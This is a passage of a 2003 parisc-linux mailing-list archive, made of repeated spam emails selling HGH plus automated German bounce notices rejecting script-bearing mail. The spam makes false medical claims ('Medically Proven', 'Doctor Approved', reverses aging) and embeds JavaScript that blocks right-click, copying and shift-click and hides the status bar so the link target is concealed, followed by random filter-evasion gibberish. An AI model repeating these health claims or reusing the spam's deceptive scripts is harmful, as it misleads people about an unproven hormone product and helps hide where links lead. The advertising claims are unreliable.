Reply-To: Timmy Alvarez <martha@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============2005613646=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070690965_B78506032.R82506026--


From - Thu Nov 08 21:30:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Cecilia Staton" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'Top athletes agree s
Date: Sat, 06 Dec 03 13:49:16 GMT
Lines: 138
Approved: news@gmane.org
Message-ID: <b-b33$-15hg60@5fgp1kdq.z.ct>
Reply-To: Cecilia Staton <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="35BE88_AB0"
X-Trace: ger.gmane.org 1416623029 2696 80.91.229.3 (22 Nov 2014 02:23:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Fri Dec  5 23:53:51 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16AAE4843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:53:51 -0700 (MST)
Original-Received: from c-67-162-227-185.client.comcast.net
	(c-67-162-227-185.client.comcast.net [67.162.227.185])
	by cuprel1.hp.com (Postfix) with SMTP id 6DF5BC65
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:53:46 -0800 (PST)
Original-Received: from [253.218.27.6] by c-67-162-227-185.client.comcast.net with
	ESMTP id <722874-01777>; Sat, 06 Dec 2003 13:49:16 -0700
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 06:53:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20317


--35BE88_AB0
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
hrwn uyj
jpfjehny cfktvbqfdd p
phkata

--35BE88_AB0--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 07:54:08 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20031206065413.DB0D1501@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070693648_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623030 2704 80.91.229.3 (22 Nov 2014 02:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:50 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Fri Dec  5 23:54:15 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id ED1BC487B
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:54:14 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id DB0D1501
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 07:54:13 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 06:54:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20318

This is a multi-part message in MIME format.

------=_NextPart_000_1070693648_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070693648_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BE5C2489D; Fri,  5 Dec 2003 23:53:54 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16AAE4843
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:53:51 -0700 (MST)
Received: from c-67-162-227-185.client.comcast.net
	(c-67-162-227-185.client.comcast.net [67.162.227.185])
	by cuprel1.hp.com (Postfix) with SMTP id 6DF5BC65
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 22:53:46 -0800 (PST)
Received: from [253.218.27.6] by c-67-162-227-185.client.comcast.net with
	ESMTP id <722874-01777>; Sat, 06 Dec 2003 13:49:16 -0700
Message-ID: <b-b33$-15hg60@5fgp1kdq.z.ct>
From: "Cecilia Staton" <jehosophat@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 13:49:16 GMT
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] 'Top athletes agree s
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Cecilia Staton <jehosophat@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1138865315=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070693648_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rico Mccullough" <martha@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =Turn back time be young again sdkghayde
Date: Sun, 07 Dec 03 01:55:53 GMT
Lines: 139
Approved: news@gmane.org
Message-ID: <3sq0t47$09-tfo510-o859l$2@w60.y.joxkh4>
Reply-To: Rico Mccullough <martha@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="A_.3.7C407609C"
X-Trace: ger.gmane.org 1416623030 2716 80.91.229.3 (22 Nov 2014 02:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: martha@msn.com  Sat Dec  6 00:00:18 2003
Return-Path: <martha@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BB2C4843
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:00:18 -0700 (MST)
Original-Received: from d235-187-33.home1.cgocable.net (d235-187-33.home1.cgocable.net
	[24.235.187.33]) by cuprel1.hp.com (Postfix) with SMTP id 9808AC5B
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:00:16 -0800 (PST)
Original-Received: from [233.89.133.199] by d235-187-33.home1.cgocable.net id
	N7taUf6FA67Q; Sun, 07 Dec 2003 01:55:53 +0500
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:00:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20319


--A_.3.7C407609C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
o aigrrjgeq
mpnb e ku
wk
huyns tlli

--A_.3.7C407609C--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 08:00:59 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20031206070104.4A1DB504@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070694059_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623030 2726 80.91.229.3 (22 Nov 2014 02:23:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:50 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Sat Dec  6 00:01:06 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 7AFB5487B
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:01:05 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 4A1DB504
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 08:01:04 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:01:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20320

This is a multi-part message in MIME format.

------=_NextPart_000_1070694059_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070694059_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F114048B3; Sat,  6 Dec 2003 00:00:46 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BB2C4843
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:00:18 -0700 (MST)
Received: from d235-187-33.home1.cgocable.net (d235-187-33.home1.cgocable.net
	[24.235.187.33]) by cuprel1.hp.com (Postfix) with SMTP id 9808AC5B
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:00:16 -0800 (PST)
Received: from [233.89.133.199] by d235-187-33.home1.cgocable.net id
	N7taUf6FA67Q; Sun, 07 Dec 2003 01:55:53 +0500
Message-ID: <3sq0t47$09-tfo510-o859l$2@w60.y.joxkh4>
From: "Rico Mccullough" <martha@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sun, 07 Dec 03 01:55:53 GMT
X-Mailer: QUALCOMM Windows Eudora Version 5.1
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] =Turn back time be young again sdkghayde 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Rico Mccullough <martha@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1010408311=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070694059_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Abel Bunch" <martha@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ; Be young and pretty again,,Here's How !!
	wkmztjohstuetc
Date: Sat, 06 Dec 03 20:34:25 GMT
Lines: 138
Approved: news@gmane.org
Message-ID: <x-7130474$-2-$ix44$$$x1@2eo7.n6k8jb>
Reply-To: Abel Bunch <martha@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="5462C47DBAB22E8__A90"
X-Trace: ger.gmane.org 1416623031 2736 80.91.229.3 (22 Nov 2014 02:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: martha@msn.com  Sat Dec  6 00:35:50 2003
Return-Path: <martha@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68FC54843
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:35:50 -0700 (MST)
Original-Received: from c-67-170-95-227.client.comcast.net
	(c-67-170-95-227.client.comcast.net [67.170.95.227])
	by cuprel1.hp.com (Postfix) with SMTP id 00DFC7BD
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:35:48 -0800 (PST)
Original-Received: from (HELO bub) [231.192.253.176]
	by c-67-170-95-227.client.comcast.net with SMTP;
	Sat, 06 Dec 2003 20:34:25 -0100
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:35:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20321


--5462C47DBAB22E8__A90
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
